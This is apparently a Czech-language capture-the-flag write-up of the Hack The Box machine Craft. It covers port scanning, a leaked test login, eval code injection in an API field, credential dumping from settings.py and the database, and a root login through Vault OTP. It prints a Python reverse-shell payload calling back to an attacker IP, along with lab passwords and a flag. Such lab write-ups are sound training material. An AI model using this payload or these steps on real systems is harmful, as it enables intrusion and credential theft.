tom@home.htb:~$

Blog o HTB

19 November 2020

Craft

Úvod a kontext

Craft kombinuje API chybu, uniklé vývojové credentialy a špatně navržený provozní přístup k Vaultu. První shell zde nevzniká brute forcem ani slabou webovou autentizací, ale přes testovací účet dinesh, který zůstal v kódu, a nebezpečné vyhodnocení pole abv v backendu.

Druhá půlka je stejně důležitá. Shell v aplikaci ještě neznamená root na hostu. Teprve tajemství v settings.py, přístup k účtu gilfoyle a možnost vyžádat si z Vaultu jednorázové root OTP ukazují, jak snadno se provozní automatizace může změnit v plný kompromis serveru.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

nmap -p 1-65535 -T4 -A -sC -v $IP
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp  open  ssl/http nginx 1.15.8
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Issuer: commonName=Craft CA/organizationName=Craft/stateOrProvinceName=New York/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-02-06T02:25:47
| Not valid after:  2020-06-20T02:25:47
| MD5:   0111 76e2 83c8 0f26 50e7 56e4 ce16 4766
|_SHA-1: 2e11 62ef 4d2e 366f 196a 51f0 c5ca b8ce 8592 3730
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
6022/tcp open  ssh      (protocol 2.0)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-Go
| ssh-hostkey:
|_  2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.80%I=7%D=11/11%Time=5DC9D2CE%P=x86_64-pc-linux-gnu%r(N

Druhý SSH port a stopa k repozitáři

Neobvyklý SSH port 6022 s bannerem SSH-2.0-Go naznačuje gitovou službu nebo jiný vývojový backend. To je důležité právě proto, že první použitelné credentialy nakonec nepřijdou z webového formuláře, ale z vývojového kontextu kolem API.

SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analýza zjištění

Testovací účet do api.craft.htb

Ve zdrojáku zůstal test, který se přihlašuje jako dinesh a rovnou vypisuje API token. To okamžitě ukazuje, že vývojové credentialy přežily do produkčního prostředí.

commit test: +response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
token: __CENSORED__

eval v poli abv

Jakmile účet dinesh vrátí platný token, stojí za to zkusit, jak backend validuje pole jednotlivých brew záznamů. Ukáže se, že abv neprochází bezpečným parsováním, ale nebezpečným eval. To z čistého API requestu udělá přímo RCE.

a = '''eval(compile("""import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.149",4000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""",'PyCodeInjectionShell','single'))'''
brew_dict['abv'] = a
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)

Získání přístupu

Shell v aplikaci a údaje z settings.py

První shell běží v aplikačním kontextu. Právě tam má smysl číst settings.py, protože v ní leží jak CRAFT_API_SECRET, tak databázové credentialy craft:qLGockJ6G2J75O. Přes přímý dotaz do databáze pak lze vypsat i hesla dalších uživatelů, mimo jiné gilfoyle.

cat settings.py
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
./test.py
((1, 'dinesh', '4aUh0A8PbVJxgd'), (4, 'ebachman', 'llJ77D8QFkLPQB'), (5, 'gilfoyle', 'ZEU3N8WNM2rh4T'))

Přechod na gilfoyle přes SSH

Jakmile je k dispozici heslo gilfoyle a odpovídající soukromý klíč Craft-id_rsa, SSH je přirozený další krok. Oproti aplikačnímu shellu dovolí čistší lokální enumeraci hostu.

ssh -i Craft-id_rsa gilfoyle@$IP              # heslo: ZEU3N8WNM2rh4T

Získání user flagu

user.txt potvrzuje, že API kompromitace už vedla z kontejnerového nebo aplikačního kontextu na skutečný uživatelský účet hostu.

cat user.txt
bbf4b0cadfa3d4e6d0914c9cd5a612d4

./lse.sh -l2

VAULT_ADDR=https://vault.craft.htb:8200/

Eskalace oprávnění

Vault helper a jednorázové root OTP

Lokální průzkum pod gilfoyle ukáže VAULT_ADDR=https://vault.craft.htb:8200/ a přítomnost vault-ssh-helper. To je zásadní stopa: host je napojený na Vault SSH backend a může si ověřovat jednorázová hesla. Pokud má uživatel možnost vyžádat si OTP pro root, nepotřebuje další exploit.

vault-ssh-helper -verify-only -config=/usr/local/etc/vault-ssh-helper.hcl
vault write ssh/creds/root_otp ip=10.10.10.110
ssh root@10.10.10.110
cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - ssh - exploit - enumeration - privesc - hackthebox